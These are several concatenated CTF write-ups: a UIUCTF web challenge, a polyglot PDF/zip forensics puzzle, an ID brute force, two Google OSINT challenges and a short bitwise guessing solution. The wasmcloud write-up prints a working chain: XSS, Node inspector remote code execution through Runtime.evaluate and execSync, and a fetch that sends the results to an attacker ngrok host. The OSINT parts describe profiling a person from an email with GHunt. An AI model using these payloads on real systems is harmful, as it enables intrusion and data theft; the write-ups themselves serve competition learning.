---title: UIUCTF 2021 - wasmcloudauthor: seracategories: weblayout: post--- > wasm... as a service!>> http://wasmcloud.chal.uiuc.tf>> HINT: They say to focus on the process, not the outcome>> author: kuilin> > [handout.tar.gz](https://uiuc.tf/files/8120a81b776978e5307bf33845e0bcb8/handout.tar.gz) # wasmcloud (Web, unsolved during CTF) This web challenge is a service that runs some user's webassembly (wasm) on the server. The flag is inside a nsjail (a secure sandbox) with the process actually running the webassembly - however, wasm does not provide any way of communicating with anything besides imports. Handout contains Dockerfile and source code. Shoutouts to nope for writing the webassembly for this challenge and the rest of my teammates for helping bounce ideas. ## Service DescriptionThe challenge is not that big, but there are a few confusing parts. First, I'll discuss what happens when you press the "run" button on the site: ![image of site](/uploads/2021-08-03/wasmcloud1.png)![output](/uploads/2021-08-03/wasmcloud2.png) - Our input wasm text is compiled locally.- Our input is POSTed to /upload in binary form. The endpoint returns a 16 byte hex string representing the file's path.- The page GETs /run/(id).wasm and alert()s the response.- On the server itself, the /run/ endpoint: - Verifies the pathname is valid (16 hex characters .wasm) - Inserts itself into a job queue and waits - Spawns a nsjail process that runs a script to run the actual wasm - Connects stdout, stderr, and exit code to the response of the endpoint - Waits until it exits- The actual sandbox: - Instantiates the webassembly and calls main(). The whole process module is imported. - Gets killed by nsjail after 1 second Along with the ability to run wasm, we have an admin bot. This might seem weird since the flag is on disk and not in admin cookies. Nevertheless, we can run it with the /report endpoint. The /report endpoint just attempts to verify the URL and captcha then spawns the admin bot. The admin bot is on localhost and will only visit http(s) URLs. It has no cookies and does nothing besides visit the page and wait 10 seconds. ## Solving The first bug I noticed was the URL validation in the /report endpoint was useless. Here is the corresponding code: ```js// assume url is to wasmcloud (client checks it, so there should be no confusion)const url = "http://127.0.0.1:1337" + new URL(req.body.url).pathname;spawn("node", ["bot.js", req.body.url]);``` The `url` variable is constructed, but not actually used, and client side checking is meaningless when we can send whatever we want to the server. We are able to inject a parameter, to spawn but unfortunately node will *not* parse any arguments after the script name directly and forward them to the script. This means the only result of this bug is we can pass any http(s) to the bot, which still seems better. (I only knew this after solving, but this bug is a bit useless and only forces you to write the URL with correct port out yourself along with disabling the client side validation. The extended body parser is also enabled for this endpoint but I don't think it allows anything interesting.) The next thing I noticed was the _whole_ process module is imported into your wasm, so you can call any function in the module that takes a wasm type. However, wasm seems to have a limit of a 2 level namespace, so we can only call something like `process.x` and not `process.x.y`. In addition, we cannot read variables off the imported module. If we consult the [node documentation](https://nodejs.org/docs/latest-v14.x/api/process.html), it looks like there is nothing really useful. But we know better to trust documentation. We can simply type `process` into a node instance to see what top level functions are avaliable to us. ```> processprocess { _rawDebug: [Function: _rawDebug], binding: [Function: binding], _linkedBinding: [Function: _linkedBinding], dlopen: [Function: dlopen], uptime: [Function: uptime], _getActiveRequests: [Function: _getActiveRequests], _getActiveHandles: [Function: _getActiveHandles], reallyExit: [Function: reallyExit], _kill: [Function: _kill], hrtime: [Function: hrtime] { bigint: [Function: hrtimeBigInt] }, cpuUsage: [Function: cpuUsage], resourceUsage: [Function: resourceUsage], memoryUsage: [Function: memoryUsage], kill: [Function: kill], exit: [Function: exit], openStdin: [Function], getuid: [Function: getuid], geteuid: [Function: geteuid], getgid: [Function: getgid], getegid: [Function: getegid], getgroups: [Function: getgroups], assert: [Function: deprecated], _fatalException: [Function], setUncaughtExceptionCaptureCallback: [Function], hasUncaughtExceptionCaptureCallback: [Function: hasUncaughtExceptionCaptureCallback], emitWarning: [Function: emitWarning], nextTick: [Function: nextTick], _tickCallback: [Function: runNextTicks], _debugProcess: [Function: _debugProcess], _debugEnd: [Function: _debugEnd], _startProfilerIdleNotifier: [Function: _startProfilerIdleNotifier], _stopProfilerIdleNotifier: [Function: _stopProfilerIdleNotifier], abort: [Function: abort], umask: [Function: wrappedUmask], chdir: [Function], cwd: [Function: wrappedCwd], initgroups: [Function: initgroups], setgroups: [Function: setgroups], setegid: [Function], seteuid: [Function], setgid: [Function], setuid: [Function],``` That's a bit better. We can see quite a few undocumented functions, and as the hint says `They say to focus on the process, not the outcome`, we can assume that we should investigate these. One of the more interesting functions is `binding`. If we try it in our node shell, it turns out this functions like `require` and will return a module based on its argument. However this turns out to be a dead end for two reasons: - wasm does not have the concept of a string- As far as I know, we can't handle the returned module (maybe it's possible to do something with the feature called tables?) The functions emitWarning and _fatalException can print to stderr but again we can't pass in strings. Note: This is as far as I got during the actual CTF since I had a lot else to work on but I came back to it after pwnyIDE was solved. At this point I took a step back and analyzed the actual nsjail configuration:```jsconst proc = spawn("nsjail", [ "-Mo", "-Q", "-N", "--disable_proc", "--chroot", "/chroot/", "--time_limit", "1", "--", "/usr/local/bin/node", "/sandbox.js"]);``` There are quite a few short flag names. `-Mo` means execve once, `-Q` means quiet, and `-N` causes... the host network to be bridged? This made me think we were expected to somehow start a server inside the jail that the admin bot could connect to - since we bypassed the port filter and all. As it turns out, the _debugProcess(pid) function starts a debug server!```> process._debugProcess(0)Debugger listening on ws://127.0.0.1:9229/d393084e-b372-407c-972d-cb130dd35d4aFor help, see: https://nodejs.org/en/docs/inspector``` The documentation states `a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process`. This sounds perfect, but it's a websocket server and requires a random uuidv4. After doing some googling, I found out this port also runs a few [HTTP endpoints](https://github.com/nodejs/node/blob/master/src/inspector_socket_server.cc#L324) including `/json/list`, which returns the full websocket URL to conncect to the debugger:```[ { "description": "node.js instance", "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a", "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a", "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico", "id": "d393084e-b372-407c-972d-cb130dd35d4a", "title": "/snap/node/5146/bin/node[11082]", "type": "node", "url": "file://", "webSocketDebuggerUrl": "ws://localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a"} ]``` Looks great, but we can't connect to this by sending the admin bot to a page on our server because it's a different host. There's actually 2 CVEs related to this where you could use DNS rebinding, but that has been fixed in the version on the server. I started to look for places to do XSS and found a suspicious line near the top of the server:```jsapp.use(function (req, res, next) { res.header("Content-Type", "text/html"); next();});``` This forces all responses to be rendered by the server even if the browser would usually sniff them out as a different content type. Since our wasm output is connected to /run/, I thought it would be possible to have the wasm just print out the string and get XSS that way, but turns out it's a dead end because wasm cannot pass a string to `process.emitWarning`, and we can't access `process.stdout.write` even though it would take a buffer. However, I realized we could use the compiler error messages. Trying to import a function that fails will print its name to stdout. For example, if we upload the following and visit its /run/ page directly, we will get an alert popup.```(module (import "process" "<script>alert(1)</script>" (func $return (param i32))) (func (export "main") (local $meme1 i32) i32.const 69420 call $return ))``` So we can construct a simple payload that fetches /list/ and then contact the websocket to get access. [This page](https://blog.ssrf.in/post/cve-2018-7160-chrome-devtools-protocol-memo/) describes a simple payload for the node debugger protocol that will execute some code.```jsconst f = async (url) => { while(true) { try { return await fetch(url, options); } catch (err) { await new Promise(r => setTimeout(r, 100)); } }};async function g(){ let a; await f(`http://localhost:9229/json/list`).then(r=>r.json()).then(d=>{a=d}); let s = new WebSocket(`${a[0][webSocketDebuggerUrl]}`); s.onopen = function() { data = `require = process.mainModule.require; execSync = require('child_process').execSync; execSync('cat flag.txt');`; s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}})); }; s.onmessage = function (event) { fetch(`https://server/?`+btoa(event.data)); };};g();``` My idea here was just to keep calling /json/list until a server happens to be up and use it. I asked nope to write some webassembly that just calls `_debugProcess`, brute forcing the PID, and spins a loop at this point and here's what he came up with: ```(module (import "process" "exit" (func $return (param i32))) (import "process" "_debugProcess" (func $enable (param i32))) (func (export "main") (local $meme1 i32) i32.const 0 set_local $meme1 loop $B0 get_local $meme1 call $enable get_local $meme1 i32.const 1 i32.add set_local $meme1 get_local $meme1 i32.const 9999 i32.ne br_if $B0 end loop $B1 i32.const 1 i32.const 2 i32.add br $B1 end i32.const 69420 call $return ))``` At this point I'm thinking I have all the parts - here's what we'll do:- Submit the stored XSS- Send the admin bot to the stored XSS- Spam run the wasm to run the debug process- Wait for the flag delivery I try it, and it doesn't work (what did you expect?). I then remember that a different port is not same origin, something I really should know. So we need to find a new method to get the websocket URL. The URL is printed out, but since we only get the output after calling /run/, that's too late, right? Well, since the response is returned chunked, it turns out we can read the webstocket URL that was sent to stderr before the server closes. However, to get the timing to behave, we'll need to spin up a small http server ourselves that starts the wasm and returns a websocket URL on being called; Here's the one I made:```pythonfrom flask import Flaskimport requestsfrom pwn import *from flask_cors import CORS, cross_originapp = Flask(__name__)cors = CORS(app)app.config['CORS_HEADERS'] = 'Content-Type' def make_r(): r = remote("wasmcloud.chal.uiuc.tf", 80) r.sendline(b"GET /run/your-wasm-hash.wasm HTTP/1.1\r\n") uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0] # Im lazy return uuid @app.route("/")@cross_origin()def hello_world(): return make_r() app.run(port=8080)``` And the corresponding js:```jsasync function g(){ let a; await fetch(`http://server.ngrok.io/`).then(r=>r.text()).then(d=>{a=d}); console.log(a); let s = new WebSocket(a); s.onopen = function() { data = `(eval payload)`; s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}})); }; s.onmessage = function (event) { fetch(`http://server.ngrok.io/?`+btoa(event.data)); };};g();``` I run this and get... a ulimit error from spawning a child. Great. After changing the payload and resubmitting the captcha few times, we get the flag with `require = process.mainModule.require;fs = require('fs');fs.readFileSync('flag.txt').toString();`: `uiuctf{https://youtu.be/17ocaZb-bGg}` ## Things after solvingThe XSS bug was actually completely unneccessary because websockets do not have the concept of a same origin policy, so we could have send the admin to our server and have that return the script too - here's a sample server that does that: ```pythonfrom flask import Flaskimport requestsimport http.clientfrom pwn import *from flask_cors import CORS, cross_originapp = Flask(__name__)cors = CORS(app)app.config['CORS_HEADERS'] = 'Content-Type' def make_r(): print("make_r: hi") r = remote("wasmcloud.chal.uiuc.tf", 80) r.sendline(b"GET /run/a9323890b8db4c5a.wasm HTTP/1.1\r\n") uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0] return uuid @app.route("/")@cross_origin()def hello_world(): uuid = make_r() s = """<script>async function g(){ let s = new WebSocket("%s"); s.onopen = function() { data = `require = process.mainModule.require;fs = require('fs');fs.readFileSync('flag.txt').toString();`; s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}})); }; s.onmessage = function (event) { fetch(`http://server.ngrok.io/?`+btoa(event.data)); };};g();</script>""" % uuid return s app.run(port=8080)```Submitting your ngrok URL with this to the admin bot is enough to get the flag. We also could have just had the XSS script fetch /run/ itself, but I don't wanna make a PoC for this.
Original writeup at [https://github.com/zecookiez/ctf-archive/blob/main/ImaginaryCTF%202021/Chimaera.md](https://github.com/zecookiez/ctf-archive/blob/main/ImaginaryCTF%202021/Chimaera.md) ## ImaginaryCTF 2021 - Chimaera (Forensics)*From someone who fell for all the fake flags in the file* ### Tools Used * A hex editor* binwalk* strings* zipinfo* zlib-flate* 7z ## Solution ### Part 1/3 - `ictf{thr33_` For this challenge, we are given `chimaera.pdf` to play around with. Opening this up with a PDF reader displays the flag `jctf{red_flags_are_fake_flags}`, which was not the flag unfortunately :( Before trying out qpdf and the other PDF tools, we opened it up with a text editor to see what was going on: ```00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............00000010: 0200 3e00 0100 0000 b000 4000 0000 0000 ..>[email protected]: 4000 0000 0000 0000 5801 0000 0000 0000 @.......X.......00000030: 0000 0000 4000 3800 0200 4000 0400 0300 [email protected][email protected]: 0100 0000 0500 0000 0000 0000 0000 0000 ................<...some fake flags below this line...>``` Apart from the `jctf{red_and_fake_flags_form_an_equivalence_class}` found in the file, we notice that this is an executable file as well! After decompiling the program, it turns out that it just prints out a string. Running the file confirms this as well: ```$ ./chimaera.pdfictf{thr33_``` Oops, decompiling it was an overkill. But at least we got part of the flag, and it also suggests that there are three parts we need to find. **TL;DR:** Run the PDF as an executable file, get the first part of the flag. ### Part 2/3 - `h34ds_l` The remainder of the ELF file did not contain any interesting bits, so we need to analyze the rest of the PDF. Running binwalk on the file gave some interesting info: ```$ binwalk chimaera.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)600 0x258 Zip archive data, at least v1.0 to extract, compressed size: 5139, uncompressed size: 5139, name: chimaera.pdf``` Looks like there's a zip file as well! After extracting the content, it turns out the zip contains the same `chimaera.pdf` and `notflag.txt` to bait us. It looks like the rest of the flag will be in the PDF itself. Reading the content of the PDF in a text editor, three sections stand out: * Two PDF stream objects which are encoded with zlib, and* Another zip file above the xref table at the end of the file. Carving out the first stream object into `stream_obj_1.pdf` and decompressing the content using zlib-flate, we obtain the following: ```$ zlib-flate -uncompress < stream_obj_1.pdf > stream_obj_1.txt$ strings stream_obj_1.txtq 0.1 0 0 0.1 0 0 cm1 1 1 rg10 0 0 10 0 0 cm BT/R7 1 Tf1 0 0 1 0 0 Tm(h34ds_l)Tj0 0 0 rg10 0 0 10 0 0 cm BT/R7 12 Tf1 0 0 1 200 400 Tm(jctf{red_flags_are_fake_flags})Tj``` Apart from the gibberish and another fake flag, we see `h34ds_l` wrapped in parentheses. Could this be the second part of the flag? Combining it with the first third of the flag we obtain `ictf{thr33_h34ds_l`. This looks promising. Only one third to go! **TL;DR:** Carve out the first stream object from the PDF and decompress using zlib-flate to get the second part of the flag. ### Part 2.5/3 - No flags here :( We still have another stream object to decompress, does it contain some useful information? Using the same approach from Part 2, we obtain the following: ```$ zlib-flate -uncompress < stream_obj_2.pdf > stream_obj_2.txt$ strings stream_obj_2.txtComic-Sans(URW)++,Copyright 2014 by (URW)++ Design & DevelopmentNimbus Mono PS RegularNimbus Mono PSCopyright (URW)++,Copyright 2014 by (URW)++ Design & Developmentrstacdefghjkl_{}34\q3=&@ZHjZLg69HduF{T+eJ~xTJOWtFY]NtC+>>+*?cmCuO/HU@PQRLE02DD00C,ObwV[J^_LyQ][NiuujkxulCBN3SX$VX{mcty}z]Okylnx``` Not only did we find nothing here, but we got Comic Sans'd as well. Pain. <div align="center"> They should've added this in the stream object as well</div> They should've added this in the stream object as well Uploading `stream_obj_2.txt` to [TrID](http://mark0.net/soft-trid-e.html) further confirms that this is a [CFF (Compact Font Format)](https://en.wikipedia.org/wiki/PostScript_fonts#Compact_Font_Format) file, which can apparently be embedded into PDFs. Opening this in FontForge, it appears that this file contains the font used to display `jctf{red_flags_are_fake_flags}` in the original PDF. Baited again. **TL;DR:** The second stream object does not contain anything useful, and we find more fake flags. ### Part 3/3 - `1k3_kerber0s}` Before reading this part, we recommend you be familiar with the zip file structure. We found the following resources helpful: * **Zip101**: [https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf](https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf)* **The structure of a PKZip (Zip) file**: [https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) The last section we need to look through is the zip file at the end of the document. Carving it out into `zipped.zip` and running zipinfo on it we get the following: ```$ zipinfo zipped.zipArchive: zipped.zipZip file size: 272 bytes, number of entries: 2error [zipped.zip]: missing 5200 bytes in zipfile (attempting to process anyway)-rw---- 1.0 fat 30 b- stor 80-000-00 00:00 notflag.txt-rw---- 1.0 fat 5139 b- stor 80-000-00 00:00 chimaera.pdf2 files, 5169 bytes uncompressed, 5169 bytes compressed: 0.0%``` Not only are there errors in the file, but it seems to contain some more bait. But this was at the end of the PDF file, how is it supposed to contain the original `chimaera.pdf` with zero compression? Something is not right. Opening this up in the hex editor further confirms our suspicions: ```00000000: 504b 0304 0a00 0000 0000 0000 0000 c380 PK..............00000010: c290 0668 1e00 0000 1e00 0000 0b00 0000 ...h............00000020: 6e6f 7466 6c61 672e 7478 746a 6374 667b notflag.txtjctf{00000030: 6661 6b65 5f66 6c61 6773 5f61 7265 5f72 fake_flags_are_r00000040: 6564 5f66 6c61 6773 7d50 4b03 040a 0000 ed_flags}PK.....00000050: 000d 0000 0000 000d c386 13c2 9321 0000 .............!..00000060: 000d 0000 0000 0000 0009 0405 005d 0000 .............]..00000070: c280 0000 18c2 9ac3 8266 01c2 8f45 607e .........f...E`~00000080: c388 c29c c3a0 5165 c289 c287 c39c c3bf ......Qe........00000090: c3bf 072c 0000 504b 0102 0a00 0000 0000 ...,..PK........000000a0: 0000 0000 0000 c380 c290 0668 1e00 0000 ...........h....000000b0: 1e00 0000 0b00 0000 0000 0000 0000 0000 ................000000c0: 0000 5014 0000 6e6f 7466 6c61 672e 7478 ..P...notflag.tx000000d0: 7450 4b01 020a 0000 0000 0000 0000 0000 tPK.............000000e0: 00c3 9644 c2a0 1113 1400 0013 1400 000c ...D............000000f0: 0000 0000 0000 0000 0000 0000 0058 0200 .............X..00000100: 0063 6869 6d61 6572 612e 7064 6650 4b05 .chimaera.pdfPK.00000110: 0600 0000 0002 0002 0073 0000 00c3 9614 .........s......00000120: 0000 3601 0a ..6..``` Apart from the very clear `notflag.txt` and fake flags, there appears to be another zip between it and the central directory! And unlike the rest of the files, two things stand out: * The file is compressed with some unknown algorithm. The header's compression algorithm is `0x0d` (address `0x51`), which isn't mapped to a standard compression algorithm since 13 is a reserved value.* The file does not have an entry in the central directory, making it invisible to zip extraction tools. Both of these combined make it impossible for standard tools to unzip it without modifying the header. Let's fix that. There are three things we need to do to fix the file: 1. Add an entry to the central directory for the hidden file,2. Remove the other two entries in the zip file, and3. Figure out the compression algorithm used by the challenge author. Rather than adding a new entry, we can modify one of the existing central directory entries to decompress the hidden file: * Change the compression method to `0d` to match the hidden file's compression algorithm,* Change the CRC32 signature to `0dc61393` to match the hidden file's signature found in the local header,* Change the compressed and uncompressed sizes to `21` and `0d` respectively to match the hidden file (we also get a hint that the uncompressed data has 13 bytes, meaning the last third of the flag has 13 letters),* Change the offset of the local header to `00` (the original value had an offset that took the entire PDF file into account, which also explains how unzipping the file gave us `chimaera.pdf` again!), and* Remove the file name and change its length to 0. We can remove the other entry to the central directory as well, and modify the end of the central directory record to match with the new directory. This is the resulting file with all the modifications: ```00000000: 504b 0304 0a00 0000 0d00 0000 0000 0dc6 PK..............00000010: 1393 2100 0000 0d00 0000 0000 0000 0904 ..!.............00000020: 0500 5d00 0080 0000 189a c266 018f 4560 ..]........f..E`00000030: 7ec8 9ce0 5165 8987 dcff ff07 2c00 0050 ~...Qe......,..P00000040: 4b01 020a 0000 0000 000d 0000 0000 000d K...............00000050: c613 9321 0000 000d 0000 0000 0000 0000 ...!............00000060: 0000 0000 0000 0000 0000 0000 0050 4b05 .............PK.00000070: 0600 0000 0001 0001 002e 0000 003f 0000 .............?..00000080: 0000 000a ....``` Running zipinfo on it shows that no errors are found, but we can't unzip it just yet since we are still missing the compression algorithm. Thankfully, there are only 10-20 standardized compression methods, so we can try all of them and modify the file as we go. Though there is a way to identify the compression algorithm. Carving the compressed data into `data.txt` and running binwalk on it, we get the following: ```$ binwalk data.txtDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------4 0x4 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, missing uncompressed size``` Compression algorithm 14 (`0e`) is the LZMA compression, perhaps this is the correct compression? Let's change the file's compression from `0d` to `0e` and see if we can extract it properly: ```$ 7z x zipped.zip <...> Scanning the drive for archives:1 file, 131 bytes (1 KiB) Extracting archive: zipped.out--Path = zipped.outType = zipPhysical Size = 131 Everything is Ok Size: 13Compressed: 131``` The extraction worked! Let's read the content of the zip now: ```$ strings zipped1k3_kerber0s}``` Success! And just as the first part of the flag indicated, the full flag is made from three separate parts. Combining the three parts we obtain `ictf{thr33_h34ds_l1k3_kerber0s}`. **TL;DR:** There is a hidden zip file between `notflag.txt` and `chimaera.pdf` at the end of the PDF. Fixing the structure of the file and identifying its compression algorithm, we extract the third part of the flag as `1k3_kerber0s}`. ## Resources Used * **binwalk**: [https://github.com/ReFirmLabs/binwalk](https://github.com/ReFirmLabs/binwalk)* **Compact Font Format**: [https://en.wikipedia.org/wiki/PostScript_fonts#Compact_Font_Format](https://en.wikipedia.org/wiki/PostScript_fonts#Compact_Font_Format)* **The structure of a PKZip (Zip) file**: [https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)* **TrID**: [http://mark0.net/soft-trid-e.html](http://mark0.net/soft-trid-e.html)* **Zip101**: [https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf](https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf)
# web/LIT BUGS (92 solves / 129 points)## DescriptionLast year’s LIT platform may or may not have had some security vulnerabilities. We have created a simplified version of last year’s platform called LIT BUGS (Lexington Informatics Tournament’s Big Unsafe Grading System). The flag is the team name of the only registered user. Visit LIT BUGS [here](http://websites.litctf.live:8000/)Downloads:[LIT Bugs.zip](https://drive.google.com/uc?export=download&id=1KH4xaRabJVIFFfmNKxep5ZLFH24muqHy) ## Solution:When I clicked the link the description I was presented with a website that looks a lot like the current ctf website. This website has only a home page, a register page, a login page, and a contest page. After analyzing the source code given, I found that the website uses websockets for the register and login functions. In addition to this, there is also an endpoint that returns a teams name when given their ID. Relevant code: io.on('connection',(socket) => { socket.on('login',(tn,pwd) => { if(accounts[tn] == undefined || accounts[tn]["password"] != md5(pwd)) { socket.emit("loginRes",false,-3); return; } socket.emit("loginRes",true,accounts[tn]["rand_id"]); return; }); socket.on('reqName',(rand_id) => { name = id2Name[parseInt(rand_id)]; socket.emit("reqNameRes",name); }); socket.on('register',(tn,pwd) => { if(accounts[tn] != undefined) { socket.emit("regRes",false,-1); return; } if(Object.keys(accounts).length >= 500) { socket.emit("regRes",false,-2); return; } var rand_id = Math.floor(Math.random() * 1000); while(id2Name[rand_id] != undefined) { rand_id = Math.floor(Math.random() * 1000); } accounts[tn] = { "password": md5(pwd), "rand_id": rand_id }; id2Name[rand_id] = tn; socket.emit("regRes",true,rand_id); }); }); As you can see from this code, ID's are generated by taking a random number from 1 to 1000. With only 1000 possible ID's, this is well within bruteforcing range. The endpoint that allows name lookup based on ID's should be vulnerable to a bruteforce attack, as the flag is the name of a team. I made a short JS script to run in my browser's JS console which bruteforced all 1000 ID's:socket.on("reqNameRes",(name)=>{ console.log(name)});for(var i = 0;i<1000;i++){ socket.emit("reqName",i)}This worked, and after looking through the results, I found the following flag: ## Flagflag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}
# All-Hail-Google## OSINT Challenge for RTLxHACTF (Written by me in cooperation with Moriarty from Thehackerscrew) ![image](https://user-images.githubusercontent.com/50044415/127777568-788dd583-9f52-4c36-a83c-ae2d31036060.png)## Imo it deserves more than 75pts, only 8 solves until the end of CTF ## Start with a geoguesser image ![image](https://user-images.githubusercontent.com/88171165/127584064-dc054070-ddfa-468b-b97d-68f5ffbdd9f0.png)## Description: A 'wonder' place ## With Google lens or something like that we find out that the place is Wonders Park, Da Nang, Viet Nam (The city which im living at xD)https://www.google.com/maps/place/C%C3%B4ng+vi%C3%AAn+K%E1%BB%B3+Quan/@16.0988215,108.2222085,17z/data=!4m12!1m6!3m5!1s0x3142198d74e5a281:0x24e8ff134e9f0079!2zQ8O0bmcgdmnDqm4gS-G7syBRdWFu!8m2!3d16.0988164!4d108.2243972!3m4!1s0x3142198d74e5a281:0x24e8ff134e9f0079!8m2!3d16.0988164!4d108.2243972?hl=vi-VN ## Look at the review section, we see this comment with 'newest' filter that looks really suspicious ( I used one of my account to review because google prevent newly created account from spamming review) ![image](https://user-images.githubusercontent.com/88171165/127584221-9286afa8-3906-434a-9fdd-c2ce7a289a95.png) ## Follow the paste bin link we got this drive link![image](https://user-images.githubusercontent.com/88171165/127584344-e10f5af6-fb5f-42fc-b8d5-971cae3b94f6.png) ## Follow it we get this image ![image](https://user-images.githubusercontent.com/88171165/127584390-49878eb7-9255-45d8-b0ca-82239ddb213c.png) ## After downloading it and use 'exiftool' we got the email of Alexander![image](https://user-images.githubusercontent.com/88171165/127584452-5004d27c-77b0-4532-82f5-bf8b5214880d.png) ## Now we got the email, if we mail it, there is an auto reply mail which lead us to Rick Astley song :)## So now look at the review: `Such a great place, can't wait to visit this park with my wife next year.`## That looks like an event in calendar## But if we use Ghunt, we can't see the event (the calendar of alexixthomas is actually public, but somehow i fooled Ghunt =)))![image](https://user-images.githubusercontent.com/88171165/127584647-593e283f-3f2a-4c88-8078-be7a7b82a6fa.png) ## So if players use Ghunt, they might follow the wrong path.## Now we go to Google Calendar and add the gmail to search list![image](https://user-images.githubusercontent.com/88171165/127584719-6522e41f-3e9e-4577-b076-19478c1d851b.png) ## Then scroll the calendar to next year, we see the event![image](https://user-images.githubusercontent.com/88171165/127584796-c5f46d8d-8ff7-4794-a139-4c8f81a955f5.png) ## Here we got the email of his wife, the username lead to another Twitter account which is just an easter egg## Then we mail her, we got auto reply ![image](https://user-images.githubusercontent.com/88171165/127584919-249332ad-22ec-4c78-8873-3e9abdae553b.png) ## I hide flag in the email with white text, so they must view the raw mail or hightlight the mail to see it ![image](https://user-images.githubusercontent.com/88171165/127584976-79fa9f33-64f2-4247-b4e3-b9d676e65b27.png) ## This is the first chall i wrote, so I definitely messed up many things. If you have something for improving it, you can dm me psycholog1st#2222. Thanks for playing and reading =))## Btw, give me a star if you find this writeup helpful xD ## Cre: psycholog1st
# Chaplin's PR Nightmare - 8 (Extreme)## Description```Straightup doxx Charlie by finding the email he set all these accounts upwith, and investigate it. The inner content of this flag begins with "b0" author: Thomas > Hint: This challenge was inspired by something previous.``` ## WriteupThe first step before doing anything else is finding the email. One trick for finding sensitive information in GitHub repos is looking at previous commits - if someone puts sensitive information and then rewrites it, you can access all that info by looking at the history. We had already found [Chaplin's GitHub here](https://github.com/charliechaplindev?tab=repositories), so it was a matter of looking around. While looking through the C3D-Official repository commits, we find an email address [in the commit titled "Create security.txt"](https://github.com/charliechaplindev/C3D-Official/commit/23371e9c3e27b57922aed5dd14591049defcf04c). Perfect! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/foundEmail.png) Since it's a Google account, I figured there would be a lot of information about the account that I could see. I opened him in Google Contacts online, but there didn't seem to be anything on there, except a profile picture. I downloaded the photo and ran exiftool on it and such. I didn't find anything particularly useful, and was going to go full steg mode on it until I decided to see what his account connected with first. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/chaplinEmailProfile.png) I looked back at the description and decided to do a little digging based on the hint, "This challenge was inspired by something previous". My teammate had already looked around on all the other sites and social media that he was attached to and couldn't find anything, so I decided to look at some of the writeups for OSINT challenges from last year. In [a writeup for "Isabelle's Bad Opsec 4" by IrisSec](https://ctftime.org/writeup/22685), skat talked about a rabbit hole he went down while searching for the answer - going after the person's Google ID. He explained the implications could include seeing Google Maps reviews, and even put `This might make for an interesting future challenge if any potential CTF organizers are reading this (hint hint, nudge nudge).` This just seemed to align too perfectly! I did a Google search for how to connect Gmail accounts to other accounts and came across [GHunt](https://github.com/mxrch/GHunt). GHunt is a GitHub repository that uses your local Gmail account cookies to find information about a Gmail address, including: * Owner's name* Last time the profile was edited* Profile picture (+ detect custom picture)* Activated Google services (YouTube, Photos, Maps, News360, Hangouts, etc.)* Possible YouTube channel* Google Maps reviews (M)* Possible physical location (M)* Events from Google Calendar (C)* and more! I cloned the repository, had to install Chrome (since I was on WSL and it kept breaking because it couldn't locate Chrome in the file system), then put the 5 cookies from a fake Google account I set up to run it. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/ghunt.png) As you can see above, we were given a link to his profile picture (which I already had), a YouTube channel, a Google Maps account, and a Google Calendar. The YouTube channel ended up being a popular Charlie Chaplin channel with millions of subscribers, so I knew it wasn't right. The Google Calendar (supposedly) didn't have any public events, and even though there were no reviews for Google Maps, I went to the link anyway. When you [open the link](https://www.google.com/maps/contrib/117833363030761934622/reviews), you can see Charlie Chaplin has 1 contribution. When you click on photos and open it up, you can see a photo was added in Montrose Beach in Chicago, IL with a flag on it! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/emailFlag.png) **Flag:** `uiuctf{b0rk_b0rk_1_lOv3_mY_d0g<3}` ## Real-World ApplicationI think this challenge is a prime example of how one account can link you to other places that you may not suspect. Since this account was fake and set up simply for the purposes of linking to Google Maps reviews, there wasn't much information to see. However, seeing the list of what GHunt can link to you with simply one email can be quite scary - any linked Google services, location history, current location, your calendar, etc. This shows you some of the possible dangers of using a Google account, and some of the avenues to track someone down through OSINT. Another lesson to learn from this is more CTF-specific, but looking at writeups from previous iterations of a CTF can give you a good insight into how the CTF is run, what types of challenges they may have, and even specific methods that organizers will use from CTF to CTF. The writeup by IrisSec that we've linked to above cracked open the whole case!
Given a string, we need to guess which function was used (between `and`, `or` and `xor`) Here's my logic:```pythondef count(str): return len([x for x in str if x < 0x80]), len([x for x in str if x >= 0x80]) def guess(str): print(str) c = count(str) print(c) if c[0] > 76: return 'and' elif c[0] < 48: return 'or' else: return 'xor'``` Full code: [guessinggame_sol.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/BlueHensCTF/guessing-game/guessinggame_sol.py) Flag: `UDCTF{c4n_y0u_gu355_7h15_f14g?}`
